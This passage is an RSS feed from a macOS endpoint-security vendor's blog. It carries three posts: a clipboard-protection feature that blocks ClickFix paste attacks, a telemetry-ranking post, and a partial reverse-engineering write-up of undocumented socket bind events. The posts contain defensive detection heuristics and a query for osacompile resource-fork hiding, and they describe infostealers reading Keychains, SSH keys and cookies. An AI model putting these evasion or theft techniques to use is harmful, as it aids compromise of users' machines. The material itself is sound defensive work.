<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Phorion | macOS Endpoint Detection and Response (EDR) Blog</title><link>https://phorion.io/blog/</link><description>Phorion offers top-tier macOS EDR with unrivaled visibility. Learn how our EDR platform defends your enterprise with cutting-edge detection and response capabilities.</description><language>en-us</language><lastBuildDate>Fri, 01 May 2026 02:29:09 +0000</lastBuildDate><atom:link href="https://phorion.io/blog/index.xml" rel="self" type="application/rss+xml"/><item><title>Introducing Clipboard Protection: Stopping ClickFix Attacks on macOS</title><link>https://phorion.io/blog/clipboard-protection/</link><guid isPermaLink="true">https://phorion.io/blog/clipboard-protection/</guid><pubDate>Thu, 02 Apr 2026 09:00:00 +0000</pubDate><description>ClickFix-style paste attacks are one of the most effective social engineering techniques targeting macOS. Today we&amp;rsquo;re releasing Clipboard Monitoring, a fully configurable capability that detects and blocks malicious pastes in real time.</description><content:encoded><![CDATA[<p>In recent months, threat actors targeting macOS have increasingly used clipboard manipulation and social engineering to trick users into pasting malicious commands into Terminal, delivering everything from commodity infostealers to more sophisticated espionage tooling.</p>
<p>These &lsquo;pastejacking&rsquo; attacks are alarmingly effective. Unlike other vectors like backdoored software, they sidestep Gatekeeper and Notarization, and typically utilise native, code-signed Apple binaries to achieve infection.</p>
<p>Be it wrapped in the lure of some required update, a helpful script to fix a common problem, or a &ldquo;one-liner&rdquo; <a href="https://pushsecurity.com/blog/installfix">installer for popular software</a>, the attack surface is vast.</p>
<h2 id="acknowledging-the-problem">Acknowledging the problem</h2>
<p>In macOS Tahoe (26.4), Apple introduced two complementary defences against paste attacks.</p>
<p><a href="https://x.com/malwarezoo/status/2037305551911014760">Documented by Ferdous Saljooki</a>, the first is a warning built into Terminal that presents a <code>Possible malware; paste blocked</code> prompt when content is pasted from a browser. As <a href="https://x.com/malwarezoo/status/2037305562929500394">Saljooki&rsquo;s analysis</a> shows, the warning fires only when multiple conditions are all met, including that the user is not a developer and hasn&rsquo;t opened Terminal in the last 30 days. This makes it an effective safeguard for general users, but by design it won&rsquo;t trigger for developer and IT users that regularly use Terminal.</p>
<img src="apple-paste-warning.png" alt="Apple's paste warning displayed when content is copied from a browser window into a Terminal" style="max-width: 400px; display: block; margin: 0 auto;">
<p>The <a href="https://x.com/malwarezoo/status/2038662038046572630">second layer</a> runs inside the XProtect daemon. Subscribing to undocumented Endpoint Security Framework event types (as <a href="https://objective-see.org/blog/blog_0x87.html">detailed</a> by Patrick Wardle), it scans pasted content (exclusively from its own list of browsers) and checks any domains found against Safari&rsquo;s Safe Browsing Service in real time - blocking the paste with a <code>Malware Detected, Paste Blocked</code> prompt. A more substantive defence that operates regardless of user profile, though limited to domains already present in Apple&rsquo;s blocklist.</p>
<p>On the open-source front, tools like Patrick&rsquo;s <a href="https://objective-see.org/products/blockblock.html">BlockBlock</a> provide heuristics-based blocking of content pasted into terminal applications.</p>
<p><strong>These are welcome steps in the right direction.</strong></p>
<p>For security teams managing enterprise fleets, though, there are areas where additional coverage and customisation can complement these protections - content-level heuristics that don&rsquo;t depend on closed domain intelligence, coverage across paste sources and vectors, centralized telemetry, and policy-driven configurability.</p>
<p>Today we&rsquo;re releasing <strong>Clipboard Protection</strong> in beta - a new capability in the Phorion agent that detects and blocks ClickFix-style paste attacks in real time.</p>
<h2 id="a-unique-endpoint-perspective">A unique endpoint perspective</h2>
<p>Phorion&rsquo;s position on the endpoint provides a unique vantage point to build a high-fidelity, highly-configurable, clipboard monitor. At the system level, our agent can observe what no single application can:</p>
<ul>
<li><strong>Where the content came from</strong>: we track which application placed content on the clipboard, so we know whether it originated from a browser, a chat application, or an internal tool</li>
<li><strong>Where the content is going</strong>: we detect when a paste lands in a terminal emulator; the typical destination for these ClickFix attacks</li>
<li><strong>What the paste contains</strong> - we evaluate the clipboard content against configurable heuristics, only logging and taking action where suspicious patterns are detected</li>
<li><strong>How the paste happened</strong>: whether via keyboard shortcut (⌘+V), right-click or toolbar menus, or even a <a href="https://blog.delivr.to/dragfix-and-you-thought-clickfix-was-a-drag-51a496773cb4">drag-and-drop</a>, we cover every paste vector</li>
</ul>
<p>With this full context, we&rsquo;re not guessing whether a browser-initiated copy ends up in a terminal, or where a terminal paste originally came from.</p>
<p><img src="clipboard-flow.svg" alt="Diagram showing how Phorion&rsquo;s Clipboard Monitor observes the full clipboard journey: source applications (browsers, chat apps, email) flow through the Phorion Agent to destination applications (terminals), with four observation points: source app, source URL, destination, and paste vector"></p>
<h2 id="protect-users-dont-block-productivity">Protect users, don&rsquo;t block productivity</h2>
<p>Not every paste from a browser to a terminal is malicious. Developers paste legitimate commands from documentation dozens of times a day. For some, blanket blocking would grind work to a halt.</p>
<p>That&rsquo;s why Clipboard Protection supports three blocking modes, so you can match the level of protection to your organisation&rsquo;s risk appetite:</p>
<table>
<tr><th style="width: 120px;">Mode</th><th>Behaviour</th></tr>
<tr><td><strong>Audit</strong></td><td>Evaluate every paste, block nothing. Rich telemetry is emitted for every monitored paste, so you can measure your baseline and understand normal clipboard workflows before enabling enforcement</td></tr>
<tr><td><strong>Smart</strong></td><td>The sweet spot for most organisations. Only blocks pastes that match dangerous patterns (suspicious curl flags, encoded payloads, command chaining) while letting routine development pastes through without interruption</td></tr>
<tr><td><strong>Block</strong></td><td>Maximum protection. Blocks all pastes from monitored sources to protected destinations, regardless of content</td></tr>
</table>
<p>Any of these modes can be paired with an <strong>interactive prompt</strong>. Instead of silently blocking a paste, Phorion presents the user with exactly what&rsquo;s about to be pasted and where it came from. The user can choose to allow the paste and continue, or cancel it.</p>
<p>A &ldquo;Remember&rdquo; option, inspired by Patrick&rsquo;s <a href="https://objective-see.org/products/blockblock.html">BlockBlock</a> implementation (mahalo!), lets them approve a paste and suppress further prompts for that terminal session, keeping friction to a minimum for known-good workflows. If the prompt goes unanswered, it times out and blocks automatically.</p>
<p><img src="clipboard-prompt.png" alt="Phorion&rsquo;s clipboard protection prompt showing an intercepted paste into Terminal, with the source application, page URL, and clipboard content visible to the user"></p>
<p>Every decision (whether the paste was blocked silently, blocked by timeout, or explicitly allowed by the user) is logged and available to security teams. This means that even when a user approves a paste, there&rsquo;s a full audit trail of what was pasted, from where, and in what scenario.</p>
<h2 id="adapt-to-your-environment">Adapt to Your Environment</h2>
<p>Transparency is a core tenet of how we build at Phorion. This isn&rsquo;t a blackbox of signatures and hardcoded browsers and terminal apps. Every organisation is different, and Clipboard Protection is designed to reflect that.</p>
<p>Phorion gives you full control over what&rsquo;s monitored, what&rsquo;s blocked, and what&rsquo;s excluded.</p>
<p><strong>Define the sources.</strong> Choose which applications are treated as monitored sources. Browsers are the default (Chrome, Safari, Firefox, Arc, and others), but you can add Slack, Teams, Discord, or any other application that might be used to deliver a ClickFix lure.</p>
<p><strong>Define the destinations.</strong> Choose which applications are protected as paste targets. All major terminal emulators are covered by default (Terminal, iTerm, Warp, Ghostty and others), and you can customise the list as needed.</p>
<p><strong>Define what&rsquo;s suspicious.</strong> In Smart mode, configure the heuristics that determine when a paste is dangerous. Out of the box, it catches the patterns most commonly associated with ClickFix attacks, but you can add your own patterns or adjust thresholds to match your environment.</p>
<p><strong>Exclude what you trust.</strong> Build exclusions for known-safe content. If your team routinely pastes deployment commands from an internal wiki, or you&rsquo;re regularly installing dev tools with one-liner installs, exclude those by domain or by content pattern, so your users aren&rsquo;t interrupted for legitimate work.</p>
<p><strong>Handle clipboard managers gracefully.</strong> Tools like Raycast, Alfred, and Maccy are staples of the macOS workflow. When a user pastes something from a clipboard manager&rsquo;s history, Phorion still traces the content back to its <em>original</em> source. If it was copied from a suspicious website and later replayed via Raycast, we evaluate it accordingly: no gaps, no disruption to the user&rsquo;s workflow.</p>
<img src="clipboard-config.png" alt="Phorion agent settings for Clipboard Protection" style="display: block; margin: 0 auto;">
<h2 id="a-note-on-privacy">A Note on Privacy</h2>
<p>Any feature that observes clipboard content carries an inherent responsibility. A clipboard monitor that isn&rsquo;t carefully designed could in itself become a security concern, whether through misconfiguration by an overzealous admin, or simply through accidental data exposure. We&rsquo;ve built several safeguards directly into the agent to prevent this.</p>
<p><strong>Privacy blocklist.</strong> The Phorion agent ships with a built-in blocklist of privacy-sensitive applications: password managers like 1Password, Bitwarden, Apple&rsquo;s own Passwords app, and others. This applies to both to the source and destination of the paste event and ensures that these applications are never monitored.</p>
<img src="privacy-block.png" alt="Phorion agent settings showing a shield icon next to a password manager bundle ID, indicating it will be ignored by the agent to protect user privacy" style="max-width: 600px; display: block; margin: 0 auto;">
<p><strong>Secret Redaction.</strong> Clipboard content pasted into terminals can contain API keys, tokens, and credentials. The same secret-scrubbing regex engine that redacts sensitive values from Phorion&rsquo;s process telemetry is applied to clipboard snippets before they leave the device.</p>
<p><strong>Configurable snippet length.</strong> Administrators can control the length of the clipboard content snippet included in telemetry via the length setting, from a generous window for deeper analysis right down to zero, which disables content capture entirely. Phorion still hashes the clipboard content, allowing security teams to correlate common attack payloads across their fleet without ever seeing the raw text.</p>
<hr>
<p>Interested in trying it out? Clipboard Protection is available in beta now for all Phorion users.  <a href="#cta">Get in touch to arrange a demo</a>.</p>
]]></content:encoded><category>Clipboard Protection</category><category>ClickFix</category><category>Pastejacking</category><category>Feature Release</category><media:content url="https://phorion.io/blog/clipboard-protection/social-card.png" medium="image"/></item><item><title>#1 in the EDR Telemetry Project: The Visibility Advantage</title><link>https://phorion.io/blog/edr-telemetry-project/</link><guid isPermaLink="true">https://phorion.io/blog/edr-telemetry-project/</guid><pubDate>Mon, 30 Mar 2026 00:30:00 +0000</pubDate><description>Phorion ranked #1 in the EDR Telemetry Project, scoring more than twice the points of the next closest vendor. This post breaks down our approach to visibility and the critical detection coverage it enables.</description><content:encoded><![CDATA[<p>Phorion tops the rankings of macOS EDRs in <a href="https://www.edr-telemetry.com/">The EDR Telemetry Project&rsquo;s</a> latest scoring release. With more than twice the points of the closest competitor, this blog breaks down not only how we landed in this position, but crucially why it matters that we did.</p>
<p><img src="phorion-telemetry-graph.png" alt="EDR Telemetry Project Graph"></p>
<p>The EDR Telemetry Project is an open source, community-driven project designed to evaluate detection and response telemetry across industry vendors. In March 2026, the project released its first ever macOS vendor evaluation, and the results were underwhelming for most vendors, except Phorion.</p>
<p>High telemetry scores are only meaningful if they translate into real detection capability. The rest of this post walks through a few specific areas where Phorion&rsquo;s visibility enables detections that most competing products simply cannot offer.</p>
<h2 id="visibility-that-matters">Visibility that matters</h2>
<div class="telemetry-chart" style="max-width: 720px; margin: 2rem auto; font-family: 'Inter', -apple-system, sans-serif;">
  <style>
    .telemetry-chart td.col-bar {
      vertical-align: middle;
    }
    @media (max-width: 640px) {
      .telemetry-chart .col-score-raw {
        display: none;
      }
      .telemetry-chart td,
      .telemetry-chart th {
        padding: 0.4rem 0.3rem !important;
      }
      .telemetry-chart td.col-rank,
      .telemetry-chart th.col-rank {
        width: 32px !important;
        min-width: 32px !important;
        max-width: 40px !important;
        padding: 0.4rem 0.5rem !important;
      }
    }
  </style>
  <table style="width: 100%; border-collapse: collapse; font-size: 0.9rem;">
    <thead>
      <tr style="border-bottom: 1px solid #334155; text-align: left;">
        <th class="col-rank" style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500; width: 30px; vertical-align: middle;">#</th>
        <th style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500;">Vendor</th>
        <th class="col-bar" style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500; width: 55%;"></th>
        <th class="col-score-raw" style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500; text-align: right; white-space: nowrap;">/ 42.7</th>
        <th style="padding: 0.5rem 0.75rem; color: #94a3b8; font-weight: 500; text-align: right;">%</th>
      </tr>
    </thead>
    <tbody>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #e5e7eb; font-weight: 600;">1</td>
        <td style="padding: 0.6rem 0.75rem; color: #0bc2f2; font-weight: 600; white-space: nowrap;">Phorion</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #0891b2; height: 20px; border-radius: 3px; width: 82%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #e5e7eb; text-align: right; font-variant-numeric: tabular-nums; font-weight: 600;">35</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; text-align: right; font-variant-numeric: tabular-nums;">82%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">2</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">Elastic</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 38.8%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">16.55</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">39%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">3</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">CrowdStrike</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 34.2%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">14.6</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">34%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">4</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">MDE</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 32.1%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">13.7</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">32%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">5</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">LimaCharlie</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 31.9%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">13.6</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">32%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">6</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">ESET Inspect</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 31.6%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">13.5</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">32%</td>
      </tr>
      <tr style="border-bottom: 1px solid rgba(51,65,85,0.5);">
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">7</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">BitDefender</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 30.2%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">12.9</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">30%</td>
      </tr>
      <tr>
        <td class="col-rank" style="padding: 0.6rem 0.75rem; color: #94a3b8;">8</td>
        <td style="padding: 0.6rem 0.75rem; color: #e5e7eb; white-space: nowrap;">Qualys</td>
        <td class="col-bar" style="padding: 0.6rem 0.75rem;"><div style="background: #334155; height: 20px; border-radius: 3px; width: 19.7%;"></div></td>
        <td class="col-score-raw" style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">8.4</td>
        <td style="padding: 0.6rem 0.75rem; color: #94a3b8; text-align: right; font-variant-numeric: tabular-nums;">20%</td>
      </tr>
    </tbody>
  </table>
</div>
<p>Phorion&rsquo;s telemetry is shaped by our own detection engineering. Where additional data improves coverage of real-world Tactics, Techniques, and Procedures (TTPs), we build it in. The result is an agent equipped with the telemetry required for reliable, out-of-the-box detection and response. Crucially, the telemetry sources we ingest are always growing, as you can see from some of our <a href="/blog/reverse-engineering-macos-26.4s-undocumented-socket-bind-events/">recent research</a> where we continuously track new events Apple makes available.</p>
<p>Below are just a few examples of where Phorion&rsquo;s extensive visibility can give you the edge.</p>
<h3 id="file-access-events">File Access Events</h3>
<p><img src="cookie-access.png" alt="Detection firing on cookie store access"></p>
<p>File access telemetry is one of the noisiest event categories an EDR can collect, which is exactly why most vendors avoid it entirely. Some offer a middle ground, allowing teams to monitor specific file paths, which can be useful when you know exactly what you&rsquo;re looking for. But during an incident, what if you didn&rsquo;t think about or know about a critical file? Was it accessed, or are you left guessing?</p>
<p>Phorion collects file access events across the board. This means that when an infostealer touches <code>~/Library/Keychains</code>, when a malicious VS Code extension reads SSH keys from <code>~/.ssh/</code>, or when an attacker accesses browser cookie stores, the telemetry is already there. Beyond detection, Phorion&rsquo;s cookie theft protections actively block non-browser processes from accessing sensitive browser file paths and terminate offending processes the moment they touch protected locations. With the prevalence of infostealers on macOS, file access telemetry is one of the most critical gaps in the majority of EDRs on the market.</p>
<h3 id="tcc-service-usage">TCC Service Usage</h3>
<p>Transparency, Consent, and Control (TCC) governs access to some of the most sensitive capabilities on macOS: screen recording, accessibility, input monitoring, camera and microphone usage. When a process requests or is granted one of these permissions, it represents a significant change in what that process can do. Of the vendors evaluated, only one competitor collects any TCC telemetry at all, and even then only for permission modifications. Phorion collects every instance in which a TCC-protected service is used.</p>
<p><img src="tcc-access-request.png" alt="TCC access request"></p>
<p>Phorion&rsquo;s extensive visibility into TCC events, built on the same research behind <a href="https://github.com/phoriontech/kronos">Kronos</a>, enables detection of highly sensitive permission grants. If a previously unknown binary gains accessibility access (a common prerequisite for keylogging) or screen recording permission (used by surveillance tooling), that event is captured and available for detection logic. Without TCC telemetry, these permission changes happen silently.</p>
<h3 id="file-attribute-changes">File Attribute Changes</h3>
<p>File attribute changes represent a category where the gap between Phorion and the rest of the field is particularly wide. No other evaluated vendor fully supports these events.</p>
<p>This matters because, as an industry, we have observed <a href="https://www.bleepingcomputer.com/news/security/hackers-use-macos-extended-file-attributes-to-hide-malicious-code/">threat actors in the wild manipulating file attributes</a> for defence evasion. As a result, this seemingly nondescript event type proved valuable for identifying malicious behaviour across environments. Ingesting these events proactively - before specific TTPs are publicly associated with them - means the data is already available when a new technique surfaces, rather than wishing you had it after the fact.</p>
<p>An example of how we can use extended attribute events for specific detection cases:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>event_type:SetExtAttr AND 
</span></span><span style="display:flex;"><span>source_signing_id:com.apple.osacompile AND 
</span></span><span style="display:flex;"><span>extattr:com.apple.ResourceFork
</span></span></code></pre></div><p><strong>Resource fork abuse via <code>osacompile</code>.</strong> Attackers use <code>osacompile</code> to hide compiled AppleScript inside a file&rsquo;s resource fork by writing to the <code>com.apple.ResourceFork</code> extended attribute. This is a macOS-specific evasion technique that bypasses conventional content inspection: the malicious payload lives in the resource fork rather than the data fork. Without <code>SetExtAttr</code> events, this technique is invisible to endpoint telemetry.</p>
<h2 id="dispelling-the-myth-of-performance">Dispelling the myth of performance</h2>
<p>One of the most common justifications for limited telemetry is performance. The argument is that collecting more events introduces unacceptable CPU and memory overhead, so vendors aggressively trim what they capture to keep their footprint low.</p>
<p>Phorion takes a different approach. Our agent is built natively for macOS, with deep integration into the platform. That investment enables us to collect and process event data others leave behind, without degrading the experience for end users.</p>
<p>Performance isn&rsquo;t a reason to create critical blind spots; it&rsquo;s an engineering problem. And it&rsquo;s one that Phorion continuously stays on top of by design.</p>
<p>You don&rsquo;t have to take our word for it. Phorion includes built-in performance visibility, so you can see exactly what the agent is doing on every endpoint:</p>
<p><img src="agent-performance.png" alt="Phorion performance dashboard"></p>
<p>Telemetry is the foundation of detection and response. The EDR Telemetry Project&rsquo;s first macOS evaluation confirmed what we already knew: most vendors are leaving critical data on the floor. Phorion collects it, uses it to detect real threats, and does so without compromising the endpoints it protects.</p>
<p>Interested in seeing what this visibility looks like in practice? <a href="#cta">Get in touch to arrange a demo</a>.</p>
]]></content:encoded><category>EDR</category><category>Telemetry</category><category>macOS</category><media:content url="https://phorion.io/blog/edr-telemetry-project/social-card.png" medium="image"/></item><item><title>Reverse Engineering macOS 26.4's Undocumented Socket Bind Events</title><link>https://phorion.io/blog/reverse-engineering-macos-26.4s-undocumented-socket-bind-events/</link><guid isPermaLink="true">https://phorion.io/blog/reverse-engineering-macos-26.4s-undocumented-socket-bind-events/</guid><pubDate>Fri, 27 Mar 2026 19:30:00 +0000</pubDate><description>Apple&amp;rsquo;s macOS 26.4 introduced several undocumented Endpoint Security events. We reverse engineered ES_EVENT_TYPE_RESERVED_3 and _4 to reveal new socket bind visibility for security tools.</description><content:encoded><![CDATA[<p>Before diving in, go read <a href="https://objective-see.org/blog/blog_0x86.html">Patrick Wardle&rsquo;s blog post</a> on these new events. Chatting with Patrick while poking at the raw bytes ultimately led to the content in this post, so as Patrick would say, Mahalo! His post covers <code>RESERVED_5</code> and <code>RESERVED_6</code> (network connection AUTH and NOTIFY events) in detail, plus the general approach to subscribing and dumping these undocumented events. This post picks up the remaining two functional events, focusing on <code>RESERVED_3</code> and <code>RESERVED_4</code>.</p>
<h2 id="background">Background</h2>
<p>Each macOS release brings new Endpoint Security Framework (ESF) events that extend the capabilities of security tools. With macOS 26.4, Apple added seven new events, but for the first time, they arrived completely undocumented. They show up in <code>ESTypes.h</code> labeled only as <code>ES_EVENT_TYPE_RESERVED_0</code> through <code>_6</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#586e75">// The following events are available beginning in macOS 26.3
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>
</span></span><span style="display:flex;"><span>ES_EVENT_TYPE_RESERVED_0, <span style="color:#586e75">// Unable to subscribe
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>ES_EVENT_TYPE_RESERVED_1, <span style="color:#586e75">// Unable to subscribe
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>ES_EVENT_TYPE_RESERVED_2, <span style="color:#586e75">// Unable to subscribe
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// The following events are available beginning in macOS 26.4.0
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>ES_EVENT_TYPE_RESERVED_3, 
</span></span><span style="display:flex;"><span>ES_EVENT_TYPE_RESERVED_4, 
</span></span><span style="display:flex;"><span>ES_EVENT_TYPE_RESERVED_5, <span style="color:#586e75">// Covered by Patrick&#39;s blog
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>ES_EVENT_TYPE_RESERVED_6, <span style="color:#586e75">// Covered by Patrick&#39;s blog
</span></span></span></code></pre></div><p>Subscribing to <code>RESERVED_3</code> and <code>RESERVED_4</code> confirmed they follow the established ESF pattern: <code>RESERVED_3</code> fires as an AUTH event (requiring a response), while <code>RESERVED_4</code> fires as the corresponding NOTIFY event. Initial observation showed these events triggering when processes opened listening sockets, suggesting they hook into the <code>bind()</code> syscall. The challenge was reconstructing the undocumented event struct to extract useful data.</p>
<h2 id="exploring-the-event-structure">Exploring the Event Structure</h2>
<h3 id="test-harness">Test Harness</h3>
<p>To generate controlled events with known values, a simple Python one-liner serves as a test harness:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#719e07">import</span> socket;s<span style="color:#719e07">=</span>socket<span style="color:#719e07">.</span>socket();s<span style="color:#719e07">.</span>bind((<span style="color:#2aa198">&#39;192.168.1.101&#39;</span>,<span style="color:#2aa198">0x1234</span>));s<span style="color:#719e07">.</span>listen();<span style="color:#b58900">print</span>(<span style="color:#2aa198">&#39;listening&#39;</span>);s<span style="color:#719e07">.</span>accept()
</span></span></code></pre></div><p>This binds to IP <code>192.168.1.101</code> (hex: <code>c0 a8 01 65</code>) on port <code>0x1234</code> (hex: <code>34 12</code> in little-endian). With known values to look for, identifying fields in the raw event data becomes much easier.</p>
<h3 id="following-the-pointers">Following the Pointers</h3>
<p>Dumping the raw bytes of <code>msg-&gt;event</code> shows an 8-byte value that looks like a pointer, followed by zeros:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>msg-&gt;event:
</span></span><span style="display:flex;"><span>0000: 80 a3 e5 04 01 00 00 00  00 00 00 00 00 00 00 00  |................|
</span></span><span style="display:flex;"><span>0010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
</span></span></code></pre></div><p>That first value (<code>0x0104e5a380</code>) is a pointer to an inner struct. Following it reveals another pointer at the start, then more data:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>inner struct @ 0x0104e5a380:
</span></span><span style="display:flex;"><span>0000: 98 a3 e5 04 01 00 00 00  01 00 00 00 00 00 00 00  |................|
</span></span><span style="display:flex;"><span>0010: 06 00 00 00 00 00 00 00  02 00 00 00 c0 a8 01 65  |...............e|
</span></span><span style="display:flex;"><span>0020: 00 00 00 00 00 00 00 00  00 00 00 00 34 12 00 00  |............4...|
</span></span></code></pre></div><p>The two pointers are pretty close to each other. The inner struct is at <code>0x0104e5a380</code>, and the pointer it contains is <code>0x0104e5a398</code>. That&rsquo;s <code>0x18</code> (24 bytes) ahead. We can diagram the layout as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>inner struct layout:
</span></span><span style="display:flex;"><span>+0x00: points to +0x18
</span></span><span style="display:flex;"><span>+0x08: [unknown 16 bytes]
</span></span><span style="display:flex;"><span>+0x18: &lt;-- ptr points here
</span></span></code></pre></div><p>Following that pointer at <code>+0x00</code>: the value <code>0x0104e5a398</code>, to <code>+0x18</code>. We get a couple of familiar patterns.</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>*inner-&gt;ptr @ 0x0104e5a398:
</span></span><span style="display:flex;"><span>0000: 02 00 00 00 c0 a8 01 65  00 00 00 00 00 00 00 00  |.......e........|
</span></span><span style="display:flex;"><span>0010: 00 00 00 00 34 12 00 00  00 00 00 00 00 00 00 00  |....4...........|
</span></span></code></pre></div><p>There&rsquo;s the bind address from the test harness. At <code>+0x04</code> we see <code>c0 a8 01 65</code> (192.168.1.101), and at <code>+0x14</code> we see <code>34 12</code> (port 0x1234 in little-endian). The first four bytes <code>02 00 00 00</code> we interpret as <code>AF_INET</code> (address family 2).</p>
<h3 id="the-address-structure">The Address Structure</h3>
<p>To confirm this analysis, testing with IPv6 validates the address family field:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>python3 <span style="color:#719e07">-</span>c <span style="color:#2aa198">&#34;import socket;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.bind((&#39;::1&#39;,4660));s.listen();input(&#39;bound&#39;);s.close()&#34;</span>
</span></span></code></pre></div><p>With IPv6, the address family bytes change to <code>1e 00 00 00</code> (0x1e = 30 = <code>AF_INET6</code>).</p>
<h3 id="the-unknown-16-bytes">The Unknown 16 Bytes</h3>
<p>Going back to the 16 bytes between the initial pointer and the address struct (offsets <code>+0x08</code> through <code>+0x17</code>), these likely contain socket metadata. Running different socket configurations and comparing the results reveals a pattern:</p>
<table>
  <thead>
      <tr>
          <th>Test</th>
          <th>+0x08</th>
          <th>+0x0C</th>
          <th>+0x10</th>
          <th>+0x14</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>IPv4 TCP</td>
          <td>1</td>
